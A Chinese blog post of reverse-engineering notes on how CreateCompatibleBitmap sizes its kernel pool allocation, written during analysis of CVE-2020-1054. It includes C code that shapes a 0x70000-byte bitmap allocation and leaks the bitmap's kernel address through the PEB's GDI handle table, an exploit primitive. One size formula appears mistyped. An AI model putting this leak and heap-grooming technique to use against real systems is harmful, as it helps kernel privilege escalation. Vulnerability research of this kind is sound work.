BitMap大小探索之CreateCompatibleBitmap

BitMap大小探索笔记

在分析CVE-2020-1054漏洞时,在占位过程中用到过CreateCompatibleBitmap函数,目标是构造一个0x70000大小的bitmap对象。

分析文章如下

https://bbs.pediy.com/thread-260884.htm

下面是CreateCompatibleBitmap的逆向笔记

CreateCompatibleBitmap逆向分析

该函数原型如下

HBITMAP CreateCompatibleBitmap(
  HDC hdc,
  int cx,
  int cy
);

Parameters
hdc

A handle to a device context.

cx

The bitmap width, in pixels.

cy

The bitmap height, in pixels.

其调用流程如下

CreateCompatibleBitmap-->NtGdiCreateCompatibleBitmap-->GreCreateCompatibleBitmap-->hsurfCreateCompatibleSurface-->bCreateDIB-->AllocateObject(bCreateDIB+0x1f3)-->ExAllocatePoolWithTag

关键在于bCreateDIB的第二个参数,如下图第二个参数为结构体DEVBITMAPINFO指针,布局如下,可以看到此时传入的iFormat为1,cxBitmap和cyBitmap是我们传入的值

以iFormat为1基准,测试bitmap大小,如下图当iFormat为1,则会进行第一次运算,公式为:nResult==((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC);

向下继续走第二次运算

nResult==(((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC)*cxBitmap+0x238;

最终调用ExAllocatePoolWithTag如下图,传入的值为0x6f238,以0x1000字节对齐,申请的大小为0x70000

C语言验证代码

#include <Windows.h>
#include <stdio.h>
typedef struct _HANDLEENTRY {
	PVOID   phead;
	PVOID   pOwner;
	BYTE    bType;
	BYTE    bFlags;
	WORD    wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
	WORD    wRIPFlags;
	WORD    wSRVIFlags;
	WORD    wRIPPID;
	WORD    wRIPError;
	ULONG   cHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
	PSERVERINFO  psi;
	PHANDLEENTRY aheList;
	ULONG        HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;


typedef struct _LARGE_STRING {
	ULONG Length;
	ULONG MaximumLength : 31;
	ULONG bAnsi : 1;
	PVOID Buffer;
} LARGE_STRING, *PLARGE_STRING;

typedef struct _PEB
{
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
	{
		BOOLEAN BitField;
		struct
		{
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsLegacyProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN SpareBits : 3;
		};
	};
	HANDLE Mutant;

	PVOID ImageBaseAddress;
	PVOID Ldr;
	PVOID ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PRTL_CRITICAL_SECTION FastPebLock;
	PVOID AtlThunkSListPtr;
	PVOID IFEOKey;
	union
	{
		ULONG CrossProcessFlags;
		struct
		{
			ULONG ProcessInJob : 1;
			ULONG ProcessInitializing : 1;
			ULONG ProcessUsingVEH : 1;
			ULONG ProcessUsingVCH : 1;
			ULONG ProcessUsingFTH : 1;
			ULONG ReservedBits0 : 27;
		};
		ULONG EnvironmentUpdateCount;
	};
	union
	{
		PVOID KernelCallbackTable;
		PVOID UserSharedInfoPtr;
	};
} PEB, *PPEB;

typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _TEB
{
	NT_TIB NtTib;
	PVOID EnvironmentPointer;
	CLIENT_ID ClientId;
	PVOID ActiveRpcHandle;
	PVOID ThreadLocalStoragePointer;
	PPEB ProcessEnvironmentBlock;
	ULONG LastErrorValue;
	ULONG CountOfOwnedCriticalSections;
	PVOID CsrClientThread;
	PVOID Win32ThreadInfo;
}TEB, *PTEB;

int main(int argc, char *argv[])
{
	//exploit dc
	HDC exploit_dc = CreateCompatibleDC(0x0);


	PBYTE pExpBitmapObj = 0;

	system("pause");

	HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x6f000, 0x8);


	printf("[+]hExploitBit Handle address: %p\n", hExploitBit);


	PTEB Teb = NtCurrentTeb();
	PPEB Peb = Teb->ProcessEnvironmentBlock;
	if (Peb == NULL)
	{
		return FALSE;
	}

	printf("[+]Peb Pointer address : %p\n", Peb);
	PBYTE  GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
	if (GdiSharedHandleTable == NULL)
	{
		return FALSE;
	}
	printf("[+]GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);


	//获取 漏洞对象 内核地址
	pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));

	printf("[+]dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);

};
posted @ 2020-08-07 11:31  hongyeHK  阅读(784)  评论(0编辑  收藏  举报